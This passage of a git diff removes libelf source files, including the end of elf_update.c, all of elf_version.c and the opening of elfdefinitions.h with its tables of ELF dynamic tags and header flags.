-			    PROT_READ, MAP_PRIVATE, e->e_fd, (off_t) 0)) ==
-			    MAP_FAILED) {
-				LIBELF_SET_ERROR(IO, errno);
-				goto error;
-			}
-		}
-#endif	/* ELFTC_HAVE_MMAP */
-
-		/* Record the new size of the file. */
-		e->e_rawsize = newsize;
-	} else {
-		/* File opened in ELF_C_WRITE mode. */
-		assert(e->e_rawfile == NULL);
-	}
-
-	/*
-	 * Reset flags, remove existing section descriptors and
-	 * {E,P}HDR pointers so that a subsequent elf_get{e,p}hdr()
-	 * and elf_getscn() will function correctly.
-	 */
-
-	e->e_flags &= ~ELF_F_DIRTY;
-
-	STAILQ_FOREACH_SAFE(scn, &e->e_u.e_elf.e_scn, s_next, tscn)
-		_libelf_release_scn(scn);
-
-	if (e->e_class == ELFCLASS32) {
-		free(e->e_u.e_elf.e_ehdr.e_ehdr32);
-		if (e->e_u.e_elf.e_phdr.e_phdr32)
-			free(e->e_u.e_elf.e_phdr.e_phdr32);
-
-		e->e_u.e_elf.e_ehdr.e_ehdr32 = NULL;
-		e->e_u.e_elf.e_phdr.e_phdr32 = NULL;
-	} else {
-		free(e->e_u.e_elf.e_ehdr.e_ehdr64);
-		if (e->e_u.e_elf.e_phdr.e_phdr64)
-			free(e->e_u.e_elf.e_phdr.e_phdr64);
-
-		e->e_u.e_elf.e_ehdr.e_ehdr64 = NULL;
-		e->e_u.e_elf.e_phdr.e_phdr64 = NULL;
-	}
-
-	/* Free the temporary buffer. */
-	if (newfile)
-		free(newfile);
-
-	return (rc);
-
- error:
-	free(newfile);
-
-	return ((off_t) -1);
-}
-
-/*
- * Update an ELF object.
- */
-
-off_t
-elf_update(Elf *e, Elf_Cmd c)
-{
-	int ec;
-	off_t rc;
-	struct _Elf_Extent_List extents;
-
-	rc = (off_t) -1;
-
-	if (e == NULL || e->e_kind != ELF_K_ELF ||
-	    (c != ELF_C_NULL && c != ELF_C_WRITE)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (rc);
-	}
-
-	if ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64) {
-		LIBELF_SET_ERROR(CLASS, 0);
-		return (rc);
-	}
-
-	if (e->e_version == EV_NONE)
-		e->e_version = EV_CURRENT;
-
-	if (c == ELF_C_WRITE && e->e_cmd == ELF_C_READ) {
-		LIBELF_SET_ERROR(MODE, 0);
-		return (rc);
-	}
-
-	SLIST_INIT(&extents);
-
-	if ((rc = _libelf_resync_elf(e, &extents)) < 0)
-		goto done;
-
-	if (c == ELF_C_NULL)
-		goto done;
-
-	if (e->e_fd < 0) {
-		rc = (off_t) -1;
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-		goto done;
-	}
-
-	rc = _libelf_write_elf(e, rc, &extents);
-
-done:
-	_libelf_release_extents(&extents);
-	return (rc);
-}
diff --git a/src/libelf/elf_version.c b/src/libelf/elf_version.c
deleted file mode 100644
index 3aa466a..0000000
--- a/src/libelf/elf_version.c
+++ /dev/null
@@ -1,52 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_version.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-unsigned int
-elf_version(unsigned int v)
-{
-	unsigned int old;
-
-	if ((old = LIBELF_PRIVATE(version)) == EV_NONE)
-		old = EV_CURRENT;
-
-	if (v == EV_NONE)
-		return old;
-	if (v > EV_CURRENT) {
-		LIBELF_SET_ERROR(VERSION, 0);
-		return EV_NONE;
-	}
-
-	LIBELF_PRIVATE(version) = v;
-	return (old);
-}
diff --git a/src/libelf/elfdefinitions.h b/src/libelf/elfdefinitions.h
deleted file mode 100644
index 79b6e7f..0000000
--- a/src/libelf/elfdefinitions.h
+++ /dev/null
@@ -1,2560 +0,0 @@
-/*-
- * Copyright (c) 2010 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: elfdefinitions.h 2132 2011-11-10 08:27:41Z jkoshy $
- */
-
-/*
- * These definitions are based on:
- * - The public specification of the ELF format as defined in the
- *   October 2009 draft of System V ABI.
- *   See: http://www.sco.com/developers/gabi/latest/ch4.intro.html
- * - The May 1998 (version 1.5) draft of "The ELF-64 object format".
- * - Processor-specific ELF ABI definitions for sparc, i386, amd64, mips,
- *   ia64, and powerpc processors.
- * - The "Linkers and Libraries Guide", from Sun Microsystems.
- */
-
-#ifndef _ELFDEFINITIONS_H_
-#define _ELFDEFINITIONS_H_
-
-#include <stdint.h>
-
-/*
- * Types of capabilities.
- */
-
-#define	_ELF_DEFINE_CAPABILITIES()				\
-_ELF_DEFINE_CA(CA_SUNW_NULL,	0,	"ignored")		\
-_ELF_DEFINE_CA(CA_SUNW_HW_1,	1,	"hardware capability")	\
-_ELF_DEFINE_CA(CA_SUNW_SW_1,	2,	"software capability")
-
-#undef	_ELF_DEFINE_CA
-#define	_ELF_DEFINE_CA(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_CAPABILITIES()
-	CA__LAST__
-};
-
-/*
- * Flags used with dynamic linking entries.
- */
-
-#define	_ELF_DEFINE_DYN_FLAGS()					\
-_ELF_DEFINE_DF(DF_ORIGIN,           0x1,			\
-	"object being loaded may refer to $ORIGIN")		\
-_ELF_DEFINE_DF(DF_SYMBOLIC,         0x2,			\
-	"search library for references before executable")	\
-_ELF_DEFINE_DF(DF_TEXTREL,          0x4,			\
-	"relocation entries may modify text segment")		\
-_ELF_DEFINE_DF(DF_BIND_NOW,         0x8,			\
-	"process relocation entries at load time")		\
-_ELF_DEFINE_DF(DF_STATIC_TLS,       0x10,			\
-	"uses static thread-local storage")
-#undef	_ELF_DEFINE_DF
-#define	_ELF_DEFINE_DF(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_DYN_FLAGS()
-	DF__LAST__
-};
-
-
-/*
- * Dynamic linking entry types.
- */
-
-#define	_ELF_DEFINE_DYN_TYPES()						\
-_ELF_DEFINE_DT(DT_NULL,             0, "end of array")			\
-_ELF_DEFINE_DT(DT_NEEDED,           1, "names a needed library")	\
-_ELF_DEFINE_DT(DT_PLTRELSZ,         2,					\
-	"size in bytes of associated relocation entries")		\
-_ELF_DEFINE_DT(DT_PLTGOT,           3,					\
-	"address associated with the procedure linkage table")		\
-_ELF_DEFINE_DT(DT_HASH,             4,					\
-	"address of the symbol hash table")				\
-_ELF_DEFINE_DT(DT_STRTAB,           5,					\
-	"address of the string table")					\
-_ELF_DEFINE_DT(DT_SYMTAB,           6,					\
-	"address of the symbol table")					\
-_ELF_DEFINE_DT(DT_RELA,             7,					\
-	"address of the relocation table")				\
-_ELF_DEFINE_DT(DT_RELASZ,           8, "size of the DT_RELA table")	\
-_ELF_DEFINE_DT(DT_RELAENT,          9, "size of each DT_RELA entry")	\
-_ELF_DEFINE_DT(DT_STRSZ,            10, "size of the string table")	\
-_ELF_DEFINE_DT(DT_SYMENT,           11,					\
-	"size of a symbol table entry")					\
-_ELF_DEFINE_DT(DT_INIT,             12,					\
-	"address of the initialization function")			\
-_ELF_DEFINE_DT(DT_FINI,             13,					\
-	"address of the finalization function")				\
-_ELF_DEFINE_DT(DT_SONAME,           14, "names the shared object")	\
-_ELF_DEFINE_DT(DT_RPATH,            15,					\
-	"runtime library search path")					\
-_ELF_DEFINE_DT(DT_SYMBOLIC,         16,					\
-	"alter symbol resolution algorithm")				\
-_ELF_DEFINE_DT(DT_REL,              17,					\
-	"address of the DT_REL table")					\
-_ELF_DEFINE_DT(DT_RELSZ,            18, "size of the DT_REL table")	\
-_ELF_DEFINE_DT(DT_RELENT,           19, "size of each DT_REL entry")	\
-_ELF_DEFINE_DT(DT_PLTREL,           20,					\
-	"type of relocation entry in the procedure linkage table")	\
-_ELF_DEFINE_DT(DT_DEBUG,            21, "used for debugging")		\
-_ELF_DEFINE_DT(DT_TEXTREL,          22,					\
-	"text segment may be written to during relocation")		\
-_ELF_DEFINE_DT(DT_JMPREL,           23,					\
-	"address of relocation entries associated with the procedure linkage table") \
-_ELF_DEFINE_DT(DT_BIND_NOW,         24,					\
-	"bind symbols at loading time")					\
-_ELF_DEFINE_DT(DT_INIT_ARRAY,       25,					\
-	"pointers to initialization functions")				\
-_ELF_DEFINE_DT(DT_FINI_ARRAY,       26,					\
-	"pointers to termination functions")				\
-_ELF_DEFINE_DT(DT_INIT_ARRAYSZ,     27, "size of the DT_INIT_ARRAY")	\
-_ELF_DEFINE_DT(DT_FINI_ARRAYSZ,     28, "size of the DT_FINI_ARRAY")	\
-_ELF_DEFINE_DT(DT_RUNPATH,          29,					\
-	"index of library search path string")				\
-_ELF_DEFINE_DT(DT_FLAGS,            30,					\
-	"flags specific to the object being loaded")			\
-_ELF_DEFINE_DT(DT_ENCODING,         32, "standard semantics")		\
-_ELF_DEFINE_DT(DT_PREINIT_ARRAY,    32,					\
-	"pointers to pre-initialization functions")			\
-_ELF_DEFINE_DT(DT_PREINIT_ARRAYSZ,  33,					\
-	"size of pre-initialization array")				\
-_ELF_DEFINE_DT(DT_MAXPOSTAGS,	    34,					\
-	"the number of positive tags")					\
-_ELF_DEFINE_DT(DT_LOOS,             0x6000000DUL,			\
-	"start of OS-specific types")					\
-_ELF_DEFINE_DT(DT_SUNW_AUXILIARY,   0x6000000DUL,			\
-	"offset of string naming auxiliary filtees")			\
-_ELF_DEFINE_DT(DT_SUNW_RTLDINF,     0x6000000EUL, "rtld internal use")	\
-_ELF_DEFINE_DT(DT_SUNW_FILTER,      0x6000000FUL,			\
-	"offset of string naming standard filtees")			\
-_ELF_DEFINE_DT(DT_SUNW_CAP,         0x60000010UL,			\
-	"address of hardware capabilities section")			\
-_ELF_DEFINE_DT(DT_HIOS,             0x6FFFF000UL,			\
-	"end of OS-specific types")					\
-_ELF_DEFINE_DT(DT_VALRNGLO,         0x6FFFFD00UL,			\
-	"start of range using the d_val field")				\
-_ELF_DEFINE_DT(DT_GNU_PRELINKED,    0x6FFFFDF5UL,			\
-	"prelinking timestamp")						\
-_ELF_DEFINE_DT(DT_GNU_CONFLICTSZ,   0x6FFFFDF6UL,			\
-	"size of conflict section")					\
-_ELF_DEFINE_DT(DT_GNU_LIBLISTSZ,    0x6FFFFDF7UL,			\
-	"size of library list")						\
-_ELF_DEFINE_DT(DT_CHECKSUM,         0x6FFFFDF8UL,			\
-	"checksum for the object")					\
-_ELF_DEFINE_DT(DT_PLTPADSZ,         0x6FFFFDF9UL,			\
-	"size of PLT padding")						\
-_ELF_DEFINE_DT(DT_MOVEENT,          0x6FFFFDFAUL,			\
-	"size of DT_MOVETAB entries")					\
-_ELF_DEFINE_DT(DT_MOVESZ,           0x6FFFFDFBUL,			\
-	"total size of the MOVETAB table")				\
-_ELF_DEFINE_DT(DT_FEATURE_1,        0x6FFFFDFCUL, "feature values")	\
-_ELF_DEFINE_DT(DT_POSFLAG_1,        0x6FFFFDFDUL,			\
-	"dynamic position flags")					\
-_ELF_DEFINE_DT(DT_SYMINSZ,          0x6FFFFDFEUL,			\
-	"size of the DT_SYMINFO table")					\
-_ELF_DEFINE_DT(DT_SYMINENT,         0x6FFFFDFFUL,			\
-	"size of a DT_SYMINFO entry")					\
-_ELF_DEFINE_DT(DT_VALRNGHI,         0x6FFFFDFFUL,			\
-	"end of range using the d_val field")				\
-_ELF_DEFINE_DT(DT_ADDRRNGLO,        0x6FFFFE00UL,			\
-	"start of range using the d_ptr field")				\
-_ELF_DEFINE_DT(DT_GNU_HASH,	    0x6FFFFEF5UL,			\
-	"GNU style hash tables")					\
-_ELF_DEFINE_DT(DT_GNU_CONFLICT,     0x6FFFFEF8UL,			\
-	"address of conflict section")					\
-_ELF_DEFINE_DT(DT_GNU_LIBLIST,      0x6FFFFEF9UL,			\
-	"address of conflict section")					\
-_ELF_DEFINE_DT(DT_CONFIG,           0x6FFFFEFAUL,			\
-	"configuration file")						\
-_ELF_DEFINE_DT(DT_DEPAUDIT,         0x6FFFFEFBUL,			\
-	"string defining audit libraries")				\
-_ELF_DEFINE_DT(DT_AUDIT,            0x6FFFFEFCUL,			\
-	"string defining audit libraries")				\
-_ELF_DEFINE_DT(DT_PLTPAD,           0x6FFFFEFDUL, "PLT padding")	\
-_ELF_DEFINE_DT(DT_MOVETAB,          0x6FFFFEFEUL,			\
-	"address of a move table")					\
-_ELF_DEFINE_DT(DT_SYMINFO,          0x6FFFFEFFUL,			\
-	"address of the symbol information table")			\
-_ELF_DEFINE_DT(DT_ADDRRNGHI,        0x6FFFFEFFUL,			\
-	"end of range using the d_ptr field")				\
-_ELF_DEFINE_DT(DT_VERSYM,	    0x6FFFFFF0UL,			\
-	"address of the version section")				\
-_ELF_DEFINE_DT(DT_RELACOUNT,        0x6FFFFFF9UL,			\
-	"count of RELA relocations")					\
-_ELF_DEFINE_DT(DT_RELCOUNT,         0x6FFFFFFAUL,			\
-	"count of REL relocations")					\
-_ELF_DEFINE_DT(DT_FLAGS_1,          0x6FFFFFFBUL, "flag values")	\
-_ELF_DEFINE_DT(DT_VERDEF,	    0x6FFFFFFCUL,			\
-	"address of the version definition segment")			\
-_ELF_DEFINE_DT(DT_VERDEFNUM,	    0x6FFFFFFDUL,			\
-	"the number of version definition entries")			\
-_ELF_DEFINE_DT(DT_VERNEED,	    0x6FFFFFFEUL,			\
-	"address of section with needed versions")			\
-_ELF_DEFINE_DT(DT_VERNEEDNUM,       0x6FFFFFFFUL,			\
-	"the number of version needed entries")				\
-_ELF_DEFINE_DT(DT_LOPROC,           0x70000000UL,			\
-	"start of processor-specific types")				\
-_ELF_DEFINE_DT(DT_ARM_SYMTABSZ,	    0x70000001UL,			\
-	"number of entries in the dynamic symbol table")		\
-_ELF_DEFINE_DT(DT_SPARC_REGISTER,   0x70000001UL,			\
-	"index of an STT_SPARC_REGISTER symbol")			\
-_ELF_DEFINE_DT(DT_ARM_PREEMPTMAP,   0x70000002UL,			\
-	"address of the preemption map")				\
-_ELF_DEFINE_DT(DT_MIPS_RLD_VERSION, 0x70000001UL,			\
-	"version ID for runtime linker interface")			\
-_ELF_DEFINE_DT(DT_MIPS_TIME_STAMP,  0x70000002UL,			\
-	"timestamp")							\
-_ELF_DEFINE_DT(DT_MIPS_ICHECKSUM,   0x70000003UL,			\
-	"checksum of all external strings and common sizes")		\
-_ELF_DEFINE_DT(DT_MIPS_IVERSION,    0x70000004UL,			\
-	"string table index of a version string")			\
-_ELF_DEFINE_DT(DT_MIPS_FLAGS,       0x70000005UL,			\
-	"MIPS-specific flags")						\
-_ELF_DEFINE_DT(DT_MIPS_BASE_ADDRESS, 0x70000006UL,			\
-	"base address for the executable/DSO")				\
-_ELF_DEFINE_DT(DT_MIPS_CONFLICT,    0x70000008UL,			\
-	"address of .conflict section")					\
-_ELF_DEFINE_DT(DT_MIPS_LIBLIST,     0x70000009UL,			\
-	"address of .liblist section")					\
-_ELF_DEFINE_DT(DT_MIPS_LOCAL_GOTNO, 0x7000000AUL,			\
-	"number of local GOT entries")					\
-_ELF_DEFINE_DT(DT_MIPS_CONFLICTNO,  0x7000000BUL,			\
-	"number of entries in the .conflict section")			\
-_ELF_DEFINE_DT(DT_MIPS_LIBLISTNO,   0x70000010UL,			\
-	"number of entries in the .liblist section")			\
-_ELF_DEFINE_DT(DT_MIPS_SYMTABNO,    0x70000011UL,			\
-	"number of entries in the .dynsym section")			\
-_ELF_DEFINE_DT(DT_MIPS_UNREFEXTNO,  0x70000012UL,			\
-	"index of first external dynamic symbol not ref'ed locally")	\
-_ELF_DEFINE_DT(DT_MIPS_GOTSYM,      0x70000013UL,			\
-	"index of first dynamic symbol corresponds to a GOT entry")	\
-_ELF_DEFINE_DT(DT_MIPS_HIPAGENO,    0x70000014UL,			\
-	"number of page table entries in GOT")				\
-_ELF_DEFINE_DT(DT_MIPS_RLD_MAP,     0x70000016UL,			\
-	"address of runtime linker map")				\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_CLASS, 0x70000017UL,			\
-	"Delta C++ class definition")					\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_CLASS_NO, 0x70000018UL,			\
-	"number of entries in DT_MIPS_DELTA_CLASS")			\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_INSTANCE, 0x70000019UL,			\
-	"Delta C++ class instances")					\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_INSTANCE_NO, 0x7000001AUL,			\
-	"number of entries in DT_MIPS_DELTA_INSTANCE")			\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_RELOC, 0x7000001BUL,			\
-	"Delta relocations")						\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_RELOC_NO, 0x7000001CUL,			\
-	"number of entries in DT_MIPS_DELTA_RELOC")			\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_SYM,   0x7000001DUL,			\
-	"Delta symbols refered by Delta relocations")			\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_SYM_NO, 0x7000001EUL,			\
-	"number of entries in DT_MIPS_DELTA_SYM")			\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_CLASSSYM, 0x70000020UL,			\
-	"Delta symbols for class declarations")				\
-_ELF_DEFINE_DT(DT_MIPS_DELTA_CLASSSYM_NO, 0x70000021UL,			\
-	"number of entries in DT_MIPS_DELTA_CLASSSYM")			\
-_ELF_DEFINE_DT(DT_MIPS_CXX_FLAGS,   0x70000022UL,			\
-	"C++ flavor flags")						\
-_ELF_DEFINE_DT(DT_MIPS_PIXIE_INIT,  0x70000023UL,			\
-	"address of an initialization routine created by pixie")	\
-_ELF_DEFINE_DT(DT_MIPS_SYMBOL_LIB,  0x70000024UL,			\
-	"address of .MIPS.symlib section")				\
-_ELF_DEFINE_DT(DT_MIPS_LOCALPAGE_GOTIDX, 0x70000025UL,			\
-	"GOT index of first page table entry for a segment")		\
-_ELF_DEFINE_DT(DT_MIPS_LOCAL_GOTIDX, 0x70000026UL,			\
-	"GOT index of first page table entry for a local symbol")	\
-_ELF_DEFINE_DT(DT_MIPS_HIDDEN_GOTIDX, 0x70000027UL,			\
-	"GOT index of first page table entry for a hidden symbol")	\
-_ELF_DEFINE_DT(DT_MIPS_PROTECTED_GOTIDX, 0x70000028UL,			\
-	"GOT index of first page table entry for a protected symbol")	\
-_ELF_DEFINE_DT(DT_MIPS_OPTIONS,     0x70000029UL,			\
-	"address of .MIPS.options section")				\
-_ELF_DEFINE_DT(DT_MIPS_INTERFACE,   0x7000002AUL,			\
-	"address of .MIPS.interface section")				\
-_ELF_DEFINE_DT(DT_MIPS_DYNSTR_ALIGN, 0x7000002BUL, "???")		\
-_ELF_DEFINE_DT(DT_MIPS_INTERFACE_SIZE, 0x7000002CUL,			\
-	"size of .MIPS.interface section")				\
-_ELF_DEFINE_DT(DT_MIPS_RLD_TEXT_RESOLVE_ADDR, 0x7000002DUL,		\
-	"address of _rld_text_resolve in GOT")				\
-_ELF_DEFINE_DT(DT_MIPS_PERF_SUFFIX, 0x7000002EUL,			\
-	"default suffix of DSO to be appended by dlopen")		\
-_ELF_DEFINE_DT(DT_MIPS_COMPACT_SIZE, 0x7000002FUL,			\
-	"size of a ucode compact relocation record (o32)")		\
-_ELF_DEFINE_DT(DT_MIPS_GP_VALUE,    0x70000030UL,			\
-	"GP value of a specified GP relative range")			\
-_ELF_DEFINE_DT(DT_MIPS_AUX_DYNAMIC, 0x70000031UL,			\
-	"address of an auxiliary dynamic table")			\
-_ELF_DEFINE_DT(DT_MIPS_PLTGOT,      0x70000032UL,			\
-	"address of the PLTGOT")					\
-_ELF_DEFINE_DT(DT_MIPS_RLD_OBJ_UPDATE, 0x70000033UL,			\
-	"object list update callback")					\
-_ELF_DEFINE_DT(DT_MIPS_RWPLT,       0x70000034UL,			\
-	"address of a writable PLT")					\
-_ELF_DEFINE_DT(DT_PPC_GOT,          0x70000000UL,			\
-	"value of _GLOBAL_OFFSET_TABLE_")				\
-_ELF_DEFINE_DT(DT_PPC_TLSOPT,       0x70000001UL,			\
-	"TLS descriptor should be optimized")				\
-_ELF_DEFINE_DT(DT_PPC64_GLINK,      0x70000000UL,			\
-	"address of .glink section")					\
-_ELF_DEFINE_DT(DT_PPC64_OPD,        0x70000001UL,			\
-	"address of .opd section")					\
-_ELF_DEFINE_DT(DT_PPC64_OPDSZ,      0x70000002UL,			\
-	"size of .opd section")						\
-_ELF_DEFINE_DT(DT_PPC64_TLSOPT,     0x70000003UL,			\
-	"TLS descriptor should be optimized")				\
-_ELF_DEFINE_DT(DT_AUXILIARY,        0x7FFFFFFDUL,			\
-	"offset of string naming auxiliary filtees")			\
-_ELF_DEFINE_DT(DT_USED,             0x7FFFFFFEUL, "ignored")		\
-_ELF_DEFINE_DT(DT_FILTER,           0x7FFFFFFFUL,			\
-	"index of string naming filtees")				\
-_ELF_DEFINE_DT(DT_HIPROC,           0x7FFFFFFFUL,			\
-	"end of processor-specific types")
-
-#undef	_ELF_DEFINE_DT
-#define	_ELF_DEFINE_DT(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_DYN_TYPES()
-	DT__LAST__ = DT_HIPROC
-};
-
-#define	DT_DEPRECATED_SPARC_REGISTER	DT_SPARC_REGISTER
-
-/*
- * Flags used in the executable header (field: e_flags).
- */
-#define	_ELF_DEFINE_EHDR_FLAGS()					\
-_ELF_DEFINE_EF(EF_ARM_RELEXEC,      0x00000001UL,			\
-	"dynamic segment describes only how to relocate segments")	\
-_ELF_DEFINE_EF(EF_ARM_HASENTRY,     0x00000002UL,			\
-	"e_entry contains a program entry point")			\
-_ELF_DEFINE_EF(EF_ARM_SYMSARESORTED, 0x00000004UL,			\
-	"subsection of symbol table is sorted by symbol value")		\
-_ELF_DEFINE_EF(EF_ARM_DYNSYMSUSESEGIDX, 0x00000008UL,			\
-	"dynamic symbol st_shndx = containing segment index + 1")	\
-_ELF_DEFINE_EF(EF_ARM_MAPSYMSFIRST, 0x00000010UL,			\
-	"mapping symbols precede other local symbols in symtab")	\
-_ELF_DEFINE_EF(EF_ARM_BE8,          0x00800000UL,			\
-	"file contains BE-8 code")					\
-_ELF_DEFINE_EF(EF_ARM_LE8,          0x00400000UL,			\
-	"file contains LE-8 code")					\
-_ELF_DEFINE_EF(EF_ARM_EABIMASK,     0xFF000000UL,			\
-	"mask for ARM EABI version number (0 denotes GNU or unknown)")	\
-_ELF_DEFINE_EF(EF_ARM_INTERWORK,    0x00000004UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_ARM_APCS_26,      0x00000008UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_ARM_APCS_FLOAT,   0x00000010UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_ARM_PIC,          0x00000020UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_ARM_ALIGN8,       0x00000040UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_ARM_NEW_ABI,      0x00000080UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_ARM_OLD_ABI,      0x00000100UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_ARM_SOFT_FLOAT,   0x00000200UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_ARM_VFP_FLOAT,    0x00000400UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_ARM_MAVERICK_FLOAT, 0x00000800UL,			\
-	"GNU EABI extension")						\
-_ELF_DEFINE_EF(EF_MIPS_NOREORDER,   0x00000001UL,			\
-	"at least one .noreorder directive appeared in the source")	\
-_ELF_DEFINE_EF(EF_MIPS_PIC,         0x00000002UL,			\
-	"file contains position independent code")			\
-_ELF_DEFINE_EF(EF_MIPS_CPIC,        0x00000004UL,			\
-	"file's code uses standard conventions for calling PIC")	\
-_ELF_DEFINE_EF(EF_MIPS_UCODE,       0x00000010UL,			\
-	"file contains UCODE (obsolete)")				\
-_ELF_DEFINE_EF(EF_MIPS_ABI2,        0x00000020UL,			\
-	"file follows MIPS III 32-bit ABI")				\
-_ELF_DEFINE_EF(EF_MIPS_OPTIONS_FIRST, 0x00000080UL,			\
-	"ld(1) should process .MIPS.options section first")		\
-_ELF_DEFINE_EF(EF_MIPS_ARCH_ASE,    0x0F000000UL,			\
-	"file uses application-specific architectural extensions")	\
-_ELF_DEFINE_EF(EF_MIPS_ARCH_ASE_MDMX, 0x08000000UL,			\
-	"file uses MDMX multimedia extensions")				\
-_ELF_DEFINE_EF(EF_MIPS_ARCH_ASE_M16, 0x04000000UL,			\
-	"file uses MIPS-16 ISA extensions")				\
-_ELF_DEFINE_EF(EF_MIPS_ARCH,         0xF0000000UL,			\
-	"4-bit MIPS architecture field")				\
-_ELF_DEFINE_EF(EF_PPC_EMB,          0x80000000UL,			\
-	"Embedded PowerPC flag")					\
-_ELF_DEFINE_EF(EF_PPC_RELOCATABLE,  0x00010000UL,			\
-	"-mrelocatable flag")						\
-_ELF_DEFINE_EF(EF_PPC_RELOCATABLE_LIB, 0x00008000UL,			\
-	"-mrelocatable-lib flag")					\
-_ELF_DEFINE_EF(EF_SPARC_EXT_MASK,   0x00ffff00UL,			\
-	"Vendor Extension mask")					\
-_ELF_DEFINE_EF(EF_SPARC_32PLUS,     0x00000100UL,			\
-	"Generic V8+ features")						\
-_ELF_DEFINE_EF(EF_SPARC_SUN_US1,    0x00000200UL,			\
-	"Sun UltraSPARCTM 1 Extensions")				\
-_ELF_DEFINE_EF(EF_SPARC_HAL_R1,     0x00000400UL, "HAL R1 Extensions")	\
-_ELF_DEFINE_EF(EF_SPARC_SUN_US3,    0x00000800UL,			\
-	"Sun UltraSPARC 3 Extensions")					\
-_ELF_DEFINE_EF(EF_SPARCV9_MM,       0x00000003UL,			\
-	"Mask for Memory Model")					\
-_ELF_DEFINE_EF(EF_SPARCV9_TSO,      0x00000000UL,			\
-	"Total Store Ordering")						\
-_ELF_DEFINE_EF(EF_SPARCV9_PSO,      0x00000001UL,			\
-	"Partial Store Ordering")					\
-_ELF_DEFINE_EF(EF_SPARCV9_RMO,      0x00000002UL,			\
-	"Relaxed Memory Ordering")
-
-#undef	_ELF_DEFINE_EF
-#define	_ELF_DEFINE_EF(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_EHDR_FLAGS()
-	EF__LAST__
-};
-
-/*
- * Offsets in the `ei_ident[]` field of an ELF executable header.
- */
-#define	_ELF_DEFINE_EI_OFFSETS()			\
-_ELF_DEFINE_EI(EI_MAG0,     0, "magic number")		\
-_ELF_DEFINE_EI(EI_MAG1,     1, "magic number")		\
-_ELF_DEFINE_EI(EI_MAG2,     2, "magic number")		\
-_ELF_DEFINE_EI(EI_MAG3,     3, "magic number")		\
-_ELF_DEFINE_EI(EI_CLASS,    4, "file class")		\
-_ELF_DEFINE_EI(EI_DATA,     5, "data encoding")		\
-_ELF_DEFINE_EI(EI_VERSION,  6, "file version")		\
